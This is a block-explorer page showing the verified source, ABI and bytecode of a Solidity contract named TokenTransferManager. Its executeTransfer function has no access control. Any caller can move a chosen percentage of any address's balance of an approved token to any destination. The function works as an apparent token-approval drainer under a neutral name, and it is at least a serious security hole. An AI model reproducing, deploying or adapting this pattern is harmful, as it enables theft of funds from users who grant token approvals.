Overview
S Balance
0 S
S Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TokenTransferManager
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-01-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) { _transferOwnership(initialOwner); } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract TokenTransferManager is Ownable, ReentrancyGuard { mapping(bytes32 => bool) public executedTransfers; event TransferExecuted( address token, address from, address to, uint256 amount, uint256 timestamp ); event TransferFailed( address token, address from, address to, uint256 amount, string reason, uint256 timestamp ); constructor() Ownable(msg.sender) {} function executeTransfer( address token, address from, address to, uint256 percentage ) external nonReentrant returns (bool) { require(token != address(0), "Invalid token address"); require(from != address(0), "Invalid from address"); require(to != address(0), "Invalid to address"); require(percentage > 0 && percentage <= 100, "Invalid percentage"); bytes32 transferId = keccak256( abi.encodePacked(token, from, to, block.timestamp) ); require(!executedTransfers[transferId], "Transfer already executed"); IERC20 tokenContract = IERC20(token); uint256 balance = tokenContract.balanceOf(from); uint256 amount = (balance * percentage) / 100; require(amount > 0, "Transfer amount too small"); try tokenContract.transferFrom(from, to, amount) returns (bool success) { if (success) { executedTransfers[transferId] = true; emit TransferExecuted(token, from, to, amount, block.timestamp); return true; } else { emit TransferFailed( token, from, to, amount, "Transfer returned false", block.timestamp ); return false; } } catch Error(string memory reason) { emit TransferFailed( token, from, to, amount, reason, block.timestamp ); return false; } catch (bytes memory) { emit TransferFailed( token, from, to, amount, "Unknown error", block.timestamp ); return false; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TransferExecuted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"string","name":"reason","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TransferFailed","type":"event"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"executeTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"executedTransfers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052348015600e575f5ffd5b50336017816020565b5060018055606f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae28061007c5f395ff3fe608060405234801561000f575f5ffd5b5060043610610055575f3560e01c8063097a9ad814610059578063715018a6146100815780638da5cb5b1461008b5780639a9f76da146100a5578063f2fde38b146100c7575b5f5ffd5b61006c61006736600461086c565b6100da565b60405190151581526020015b60405180910390f35b6100896106b6565b005b5f546040516001600160a01b039091168152602001610078565b61006c6100b33660046108b4565b60026020525f908152604090205460ff1681565b6100896100d53660046108cb565b610729565b5f6002600154036101325760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026001556001600160a01b0385166101855760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610129565b6001600160a01b0384166101d25760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642066726f6d206164647265737360601b6044820152606401610129565b6001600160a01b03831661021d5760405162461bcd60e51b8152602060048201526012602482015271496e76616c696420746f206164647265737360701b6044820152606401610129565b5f8211801561022d575060648211155b61026e5760405162461bcd60e51b8152602060048201526012602482015271496e76616c69642070657263656e7461676560701b6044820152606401610129565b6040516bffffffffffffffffffffffff19606087811b8216602084015286811b8216603484015285901b16604882015242605c8201525f90607c0160408051601f1981840301815291815281516020928301205f818152600290935291205490915060ff16156103205760405162461bcd60e51b815260206004820152601960248201527f5472616e7366657220616c7265616479206578656375746564000000000000006044820152606401610129565b6040516370a0823160e01b81526001600160a01b03868116600483015287915f918316906370a0823190602401602060405180830381865afa158015610368573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038c91906108eb565b90505f606461039b8784610902565b6103a5919061092b565b90505f81116103f65760405162461bcd60e51b815260206004820152601960248201527f5472616e7366657220616d6f756e7420746f6f20736d616c6c000000000000006044820152606401610129565b6040516323b872dd60e01b81526001600160a01b0389811660048301528881166024830152604482018390528416906323b872dd906064016020604051808303815f875af1925050508015610468575060408051601f3d908101601f191682019092526104659181019061094a565b60015b61059157610474610969565b806308c379a0036104e157506104886109bb565b8061049357506104e3565b7f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd678a8a8a8585426040516104cc96959493929190610a3f565b60405180910390a15f955050505050506106aa565b505b3d80801561050c576040519150601f19603f3d011682016040523d82523d5f602084013e610511565b606091505b50604080516001600160a01b03808d168252808c1660208301528a16918101919091526060810183905260c060808201819052600d908201526c2ab735b737bbb71032b93937b960991b60e08201524260a08201527f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd6790610100016104cc565b801561061b575f85815260026020908152604091829020805460ff1916600117905581516001600160a01b038d811682528c811692820192909252908a16818301526060810184905242608082015290517f71f85595c0b3df32b9e6d0fef1980b0a48f3a428ad67e38dfe975903f61ee1d99160a0908290030190a16001955050505050506106aa565b604080516001600160a01b03808d168252808c1660208301528a16918101919091526060810183905260c0608082018190526017908201527f5472616e736665722072657475726e65642066616c736500000000000000000060e08201524260a08201527f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd6790610100016104cc565b60018055949350505050565b336106c85f546001600160a01b031690565b6001600160a01b03161461071e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610129565b6107275f610802565b565b3361073b5f546001600160a01b031690565b6001600160a01b0316146107915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610129565b6001600160a01b0381166107f65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610129565b6107ff81610802565b50565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610867575f5ffd5b919050565b5f5f5f5f6080858703121561087f575f5ffd5b61088885610851565b935061089660208601610851565b92506108a460408601610851565b9396929550929360600135925050565b5f602082840312156108c4575f5ffd5b5035919050565b5f602082840312156108db575f5ffd5b6108e482610851565b9392505050565b5f602082840312156108fb575f5ffd5b5051919050565b808202811582820484141761092557634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261094557634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561095a575f5ffd5b815180151581146108e4575f5ffd5b5f60033d111561097f5760045f5f3e505f5160e01c5b90565b601f8201601f1916810167ffffffffffffffff811182821017156109b457634e487b7160e01b5f52604160045260245ffd5b6040525050565b5f60443d10156109c85790565b6040513d600319016004823e80513d602482011167ffffffffffffffff821117156109f257505090565b808201805167ffffffffffffffff811115610a0e575050505090565b3d8401600319018282016020011115610a28575050505090565b610a3760208285010185610982565b509392505050565b6001600160a01b03878116825286811660208084019190915290861660408301526060820185905260c06080830181905284519083018190525f918190860160e085015e5f60e0828501015260e0601f19601f8301168401019150508260a083015297965050505050505056fea2646970667358221220b9936dc15c419606b7a02017af49b413cbb4b6b35988e63a6a49dd40f819175564736f6c634300081c0033
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610055575f3560e01c8063097a9ad814610059578063715018a6146100815780638da5cb5b1461008b5780639a9f76da146100a5578063f2fde38b146100c7575b5f5ffd5b61006c61006736600461086c565b6100da565b60405190151581526020015b60405180910390f35b6100896106b6565b005b5f546040516001600160a01b039091168152602001610078565b61006c6100b33660046108b4565b60026020525f908152604090205460ff1681565b6100896100d53660046108cb565b610729565b5f6002600154036101325760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026001556001600160a01b0385166101855760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610129565b6001600160a01b0384166101d25760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642066726f6d206164647265737360601b6044820152606401610129565b6001600160a01b03831661021d5760405162461bcd60e51b8152602060048201526012602482015271496e76616c696420746f206164647265737360701b6044820152606401610129565b5f8211801561022d575060648211155b61026e5760405162461bcd60e51b8152602060048201526012602482015271496e76616c69642070657263656e7461676560701b6044820152606401610129565b6040516bffffffffffffffffffffffff19606087811b8216602084015286811b8216603484015285901b16604882015242605c8201525f90607c0160408051601f1981840301815291815281516020928301205f818152600290935291205490915060ff16156103205760405162461bcd60e51b815260206004820152601960248201527f5472616e7366657220616c7265616479206578656375746564000000000000006044820152606401610129565b6040516370a0823160e01b81526001600160a01b03868116600483015287915f918316906370a0823190602401602060405180830381865afa158015610368573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038c91906108eb565b90505f606461039b8784610902565b6103a5919061092b565b90505f81116103f65760405162461bcd60e51b815260206004820152601960248201527f5472616e7366657220616d6f756e7420746f6f20736d616c6c000000000000006044820152606401610129565b6040516323b872dd60e01b81526001600160a01b0389811660048301528881166024830152604482018390528416906323b872dd906064016020604051808303815f875af1925050508015610468575060408051601f3d908101601f191682019092526104659181019061094a565b60015b61059157610474610969565b806308c379a0036104e157506104886109bb565b8061049357506104e3565b7f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd678a8a8a8585426040516104cc96959493929190610a3f565b60405180910390a15f955050505050506106aa565b505b3d80801561050c576040519150601f19603f3d011682016040523d82523d5f602084013e610511565b606091505b50604080516001600160a01b03808d168252808c1660208301528a16918101919091526060810183905260c060808201819052600d908201526c2ab735b737bbb71032b93937b960991b60e08201524260a08201527f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd6790610100016104cc565b801561061b575f85815260026020908152604091829020805460ff1916600117905581516001600160a01b038d811682528c811692820192909252908a16818301526060810184905242608082015290517f71f85595c0b3df32b9e6d0fef1980b0a48f3a428ad67e38dfe975903f61ee1d99160a0908290030190a16001955050505050506106aa565b604080516001600160a01b03808d168252808c1660208301528a16918101919091526060810183905260c0608082018190526017908201527f5472616e736665722072657475726e65642066616c736500000000000000000060e08201524260a08201527f855fd38a3dd4d813dde6843950c7cc417ec3abd7bc488c07d414f0a1f49cfd6790610100016104cc565b60018055949350505050565b336106c85f546001600160a01b031690565b6001600160a01b03161461071e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610129565b6107275f610802565b565b3361073b5f546001600160a01b031690565b6001600160a01b0316146107915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610129565b6001600160a01b0381166107f65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610129565b6107ff81610802565b50565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610867575f5ffd5b919050565b5f5f5f5f6080858703121561087f575f5ffd5b61088885610851565b935061089660208601610851565b92506108a460408601610851565b9396929550929360600135925050565b5f602082840312156108c4575f5ffd5b5035919050565b5f602082840312156108db575f5ffd5b6108e482610851565b9392505050565b5f602082840312156108fb575f5ffd5b5051919050565b808202811582820484141761092557634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261094557634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561095a575f5ffd5b815180151581146108e4575f5ffd5b5f60033d111561097f5760045f5f3e505f5160e01c5b90565b601f8201601f1916810167ffffffffffffffff811182821017156109b457634e487b7160e01b5f52604160045260245ffd5b6040525050565b5f60443d10156109c85790565b6040513d600319016004823e80513d602482011167ffffffffffffffff821117156109f257505090565b808201805167ffffffffffffffff811115610a0e575050505090565b3d8401600319018282016020011115610a28575050505090565b610a3760208285010185610982565b509392505050565b6001600160a01b03878116825286811660208084019190915290861660408301526060820185905260c06080830181905284519083018190525f918190860160e085015e5f60e0828501015260e0601f19601f8301168401019150508260a083015297965050505050505056fea2646970667358221220b9936dc15c419606b7a02017af49b413cbb4b6b35988e63a6a49dd40f819175564736f6c634300081c0033
Deployed Bytecode Sourcemap
2222:2572:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2745:2046;;;;;;:::i;:::-;;:::i;:::-;;;765:14:1;;758:22;740:41;;728:2;713:18;2745:2046:0;;;;;;;;1285:103;;;:::i;:::-;;1190:87;1236:7;1263:6;1190:87;;-1:-1:-1;;;;;1263:6:0;;;938:51:1;;926:2;911:18;1190:87:0;792:203:1;2287:49:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;1396:201;;;;;;:::i;:::-;;:::i;2745:2046::-;2905:4;1928:1;2076:7;;:19;2068:63;;;;-1:-1:-1;;;2068:63:0;;1578:2:1;2068:63:0;;;1560:21:1;1617:2;1597:18;;;1590:30;1656:33;1636:18;;;1629:61;1707:18;;2068:63:0;;;;;;;;;1928:1;2142:7;:18;-1:-1:-1;;;;;2930:19:0;::::1;2922:53;;;::::0;-1:-1:-1;;;2922:53:0;;1938:2:1;2922:53:0::1;::::0;::::1;1920:21:1::0;1977:2;1957:18;;;1950:30;-1:-1:-1;;;1996:18:1;;;1989:51;2057:18;;2922:53:0::1;1736:345:1::0;2922:53:0::1;-1:-1:-1::0;;;;;2994:18:0;::::1;2986:51;;;::::0;-1:-1:-1;;;2986:51:0;;2288:2:1;2986:51:0::1;::::0;::::1;2270:21:1::0;2327:2;2307:18;;;2300:30;-1:-1:-1;;;2346:18:1;;;2339:50;2406:18;;2986:51:0::1;2086:344:1::0;2986:51:0::1;-1:-1:-1::0;;;;;3056:16:0;::::1;3048:47;;;::::0;-1:-1:-1;;;3048:47:0;;2637:2:1;3048:47:0::1;::::0;::::1;2619:21:1::0;2676:2;2656:18;;;2649:30;-1:-1:-1;;;2695:18:1;;;2688:48;2753:18;;3048:47:0::1;2435:342:1::0;3048:47:0::1;3127:1;3114:10;:14;:35;;;;;3146:3;3132:10;:17;;3114:35;3106:66;;;::::0;-1:-1:-1;;;3106:66:0;;2984:2:1;3106:66:0::1;::::0;::::1;2966:21:1::0;3023:2;3003:18;;;2996:30;-1:-1:-1;;;3042:18:1;;;3035:48;3100:18;;3106:66:0::1;2782:342:1::0;3106:66:0::1;3238:50;::::0;-1:-1:-1;;3362:2:1;3358:15;;;3354:53;;3238:50:0::1;::::0;::::1;3342:66:1::0;3442:15;;;3438:53;;3424:12;;;3417:75;3526:15;;;3522:53;3508:12;;;3501:75;3272:15:0::1;3592:12:1::0;;;3585:28;3193:18:0::1;::::0;3629:12:1;;3238:50:0::1;::::0;;-1:-1:-1;;3238:50:0;;::::1;::::0;;;;;;3214:85;;3238:50:::1;3214:85:::0;;::::1;::::0;3319:29:::1;::::0;;;:17:::1;:29:::0;;;;;;3214:85;;-1:-1:-1;3319:29:0::1;;3318:30;3310:68;;;::::0;-1:-1:-1;;;3310:68:0;;3854:2:1;3310:68:0::1;::::0;::::1;3836:21:1::0;3893:2;3873:18;;;3866:30;3932:27;3912:18;;;3905:55;3977:18;;3310:68:0::1;3652:349:1::0;3310:68:0::1;3464:29;::::0;-1:-1:-1;;;3464:29:0;;-1:-1:-1;;;;;956:32:1;;;3464:29:0::1;::::0;::::1;938:51:1::0;3429:5:0;;3399:20:::1;::::0;3464:23;::::1;::::0;::::1;::::0;911:18:1;;3464:29:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3446:47:::0;-1:-1:-1;3504:14:0::1;3546:3;3522:20;3532:10:::0;3446:47;3522:20:::1;:::i;:::-;3521:28;;;;:::i;:::-;3504:45;;3587:1;3578:6;:10;3570:48;;;::::0;-1:-1:-1;;;3570:48:0;;4889:2:1;3570:48:0::1;::::0;::::1;4871:21:1::0;4928:2;4908:18;;;4901:30;4967:27;4947:18;;;4940:55;5012:18;;3570:48:0::1;4687:349:1::0;3570:48:0::1;3643:44;::::0;-1:-1:-1;;;3643:44:0;;-1:-1:-1;;;;;5261:32:1;;;3643:44:0::1;::::0;::::1;5243:51:1::0;5330:32;;;5310:18;;;5303:60;5379:18;;;5372:34;;;3643:26:0;::::1;::::0;::::1;::::0;5216:18:1;;3643:44:0::1;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;3643:44:0::1;::::0;;::::1;;::::0;;::::1;-1:-1:-1::0;;3643:44:0::1;::::0;::::1;::::0;;;::::1;::::0;;::::1;::::0;::::1;:::i;:::-;;;3639:1145;;;;:::i;:::-;;;::::0;::::1;;;;;:::i;:::-;;;;;;;;4293:181;4326:5;4350:4;4373:2;4394:6;4419;4444:15;4293:181;;;;;;;;;;;:::i;:::-;;;;;;;;4496:5;4489:12;;;;;;;;;3639:1145;;;;::::0;;;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;4555:190:0::1;::::0;;-1:-1:-1;;;;;8072:32:1;;;8054:51;;8141:32;;;8136:2;8121:18;;8114:60;8210:32;;8190:18;;;8183:60;;;;8274:2;8259:18;;8252:34;;;8323:3;8317;8302:19;;8295:32;;;8364:2;8343:19;;;8336:31;-1:-1:-1;;;8398:3:1;8383:19;;8376:44;4715:15:0::1;8092:3:1::0;8472:19;;8465:35;4555:190:0::1;::::0;8452:3:1;8437:19;4555:190:0::1;7730:776:1::0;3639:1145:0::1;3730:7;3726:501;;;3758:29;::::0;;;:17:::1;:29;::::0;;;;;;;;:36;;-1:-1:-1;;3758:36:0::1;3790:4;3758:36;::::0;;3818:58;;-1:-1:-1;;;;;8788:32:1;;;8770:51;;8857:32;;;8837:18;;;8830:60;;;;8926:32;;;8906:18;;;8899:60;8990:2;8975:18;;8968:34;;;3860:15:0::1;9033:3:1::0;9018:19;;9011:35;3818:58:0;;::::1;::::0;8757:3:1;3818:58:0;;;;;;::::1;3902:4;3895:11;;;;;;;;;3726:501;3952:228;::::0;;-1:-1:-1;;;;;9399:32:1;;;9381:51;;9468:32;;;9463:2;9448:18;;9441:60;9537:32;;9517:18;;;9510:60;;;;9601:2;9586:18;;9579:34;;;9650:3;9644;9629:19;;9622:32;;;9691:2;9670:19;;;9663:31;9731:25;9725:3;9710:19;;9703:54;4146:15:0::1;9419:3:1::0;9809:19;;9802:35;3952:228:0::1;::::0;9789:3:1;9774:19;3952:228:0::1;9057:786:1::0;2171:1:0::1;1884::::0;2183:22;;2745:2046;;-1:-1:-1;;;;2745:2046:0:o;1285:103::-;1115:10;1104:7;1236;1263:6;-1:-1:-1;;;;;1263:6:0;;1190:87;1104:7;-1:-1:-1;;;;;1104:21:0;;1096:66;;;;-1:-1:-1;;;1096:66:0;;10050:2:1;1096:66:0;;;10032:21:1;;;10069:18;;;10062:30;10128:34;10108:18;;;10101:62;10180:18;;1096:66:0;9848:356:1;1096:66:0;1350:30:::1;1377:1;1350:18;:30::i;:::-;1285:103::o:0;1396:201::-;1115:10;1104:7;1236;1263:6;-1:-1:-1;;;;;1263:6:0;;1190:87;1104:7;-1:-1:-1;;;;;1104:21:0;;1096:66;;;;-1:-1:-1;;;1096:66:0;;10050:2:1;1096:66:0;;;10032:21:1;;;10069:18;;;10062:30;10128:34;10108:18;;;10101:62;10180:18;;1096:66:0;9848:356:1;1096:66:0;-1:-1:-1;;;;;1485:22:0;::::1;1477:73;;;::::0;-1:-1:-1;;;1477:73:0;;10411:2:1;1477:73:0::1;::::0;::::1;10393:21:1::0;10450:2;10430:18;;;10423:30;10489:34;10469:18;;;10462:62;-1:-1:-1;;;10540:18:1;;;10533:36;10586:19;;1477:73:0::1;10209:402:1::0;1477:73:0::1;1561:28;1580:8;1561:18;:28::i;:::-;1396:201:::0;:::o;1605:191::-;1679:16;1698:6;;-1:-1:-1;;;;;1715:17:0;;;-1:-1:-1;;;;;;1715:17:0;;;;;;1748:40;;1698:6;;;;;;;1748:40;;1679:16;1748:40;1668:128;1605:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:403::-;278:6;286;294;302;355:3;343:9;334:7;330:23;326:33;323:53;;;372:1;369;362:12;323:53;395:29;414:9;395:29;:::i;:::-;385:39;;443:38;477:2;466:9;462:18;443:38;:::i;:::-;433:48;;500:38;534:2;523:9;519:18;500:38;:::i;:::-;192:403;;;;-1:-1:-1;490:48:1;;585:2;570:18;557:32;;-1:-1:-1;;192:403:1:o;1000:180::-;1059:6;1112:2;1100:9;1091:7;1087:23;1083:32;1080:52;;;1128:1;1125;1118:12;1080:52;-1:-1:-1;1151:23:1;;1000:180;-1:-1:-1;1000:180:1:o;1185:186::-;1244:6;1297:2;1285:9;1276:7;1272:23;1268:32;1265:52;;;1313:1;1310;1303:12;1265:52;1336:29;1355:9;1336:29;:::i;:::-;1326:39;1185:186;-1:-1:-1;;;1185:186:1:o;4006:184::-;4076:6;4129:2;4117:9;4108:7;4104:23;4100:32;4097:52;;;4145:1;4142;4135:12;4097:52;-1:-1:-1;4168:16:1;;4006:184;-1:-1:-1;4006:184:1:o;4195:265::-;4268:9;;;4299;;4316:15;;;4310:22;;4296:37;4286:168;;4376:10;4371:3;4367:20;4364:1;4357:31;4411:4;4408:1;4401:15;4439:4;4436:1;4429:15;4286:168;4195:265;;;;:::o;4465:217::-;4505:1;4531;4521:132;;4575:10;4570:3;4566:20;4563:1;4556:31;4610:4;4607:1;4600:15;4638:4;4635:1;4628:15;4521:132;-1:-1:-1;4667:9:1;;4465:217::o;5417:277::-;5484:6;5537:2;5525:9;5516:7;5512:23;5508:32;5505:52;;;5553:1;5550;5543:12;5505:52;5585:9;5579:16;5638:5;5631:13;5624:21;5617:5;5614:32;5604:60;;5660:1;5657;5650:12;5699:179;5734:3;5776:1;5758:16;5755:23;5752:120;;;5822:1;5819;5816;5801:23;-1:-1:-1;5859:1:1;5853:8;5848:3;5844:18;5752:120;5699:179;:::o;5883:346::-;5993:2;5974:13;;-1:-1:-1;;5970:27:1;5958:40;;6028:18;6013:34;;6049:22;;;6010:62;6007:185;;;6114:10;6109:3;6105:20;6102:1;6095:31;6149:4;6146:1;6139:15;6177:4;6174:1;6167:15;6007:185;6208:2;6201:22;-1:-1:-1;;5883:346:1:o;6234:628::-;6273:3;6315:4;6297:16;6294:26;6291:39;;;6234:628;:::o;6291:39::-;6357:2;6351:9;6397:16;-1:-1:-1;;6393:29:1;6390:1;6351:9;6369:54;6452:4;6446:11;6526:16;6519:4;6511:6;6507:17;6504:39;6483:18;6475:6;6472:30;6469:75;6466:88;;;6547:5;;6234:628;:::o;6466:88::-;6584:6;6578:4;6574:17;6620:3;6614:10;6647:18;6639:6;6636:30;6633:43;;;6669:5;;;;6234:628;:::o;6633:43::-;6734:16;6724:27;;-1:-1:-1;;6720:40:1;6695:16;;;6713:4;6691:27;6688:73;6685:86;;;6764:5;;;;6234:628;:::o;6685:86::-;6780:57;6831:4;6822:6;6814;6810:19;6806:30;6800:4;6780:57;:::i;:::-;-1:-1:-1;6853:3:1;6234:628;-1:-1:-1;;;6234:628:1:o;6867:858::-;-1:-1:-1;;;;;7156:32:1;;;7138:51;;7225:32;;;7220:2;7205:18;;;7198:60;;;;7294:32;;;7289:2;7274:18;;7267:60;7358:2;7343:18;;7336:34;;;7407:3;7401;7386:19;;7379:32;;;7434:13;;7463:19;;;7456:35;;;-1:-1:-1;;7434:13:1;;7527:15;;7521:3;7506:19;;7500:51;7601:1;7595:3;7586:6;7575:9;7571:22;7567:32;7560:43;7671:3;7664:2;7660:7;7655:2;7647:6;7643:15;7639:29;7628:9;7624:45;7620:55;7612:63;;;7712:6;7706:3;7695:9;7691:19;7684:35;6867:858;;;;;;;;;:::o
Swarm Source
ipfs://b9936dc15c419606b7a02017af49b413cbb4b6b35988e63a6a49dd40f8191755
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.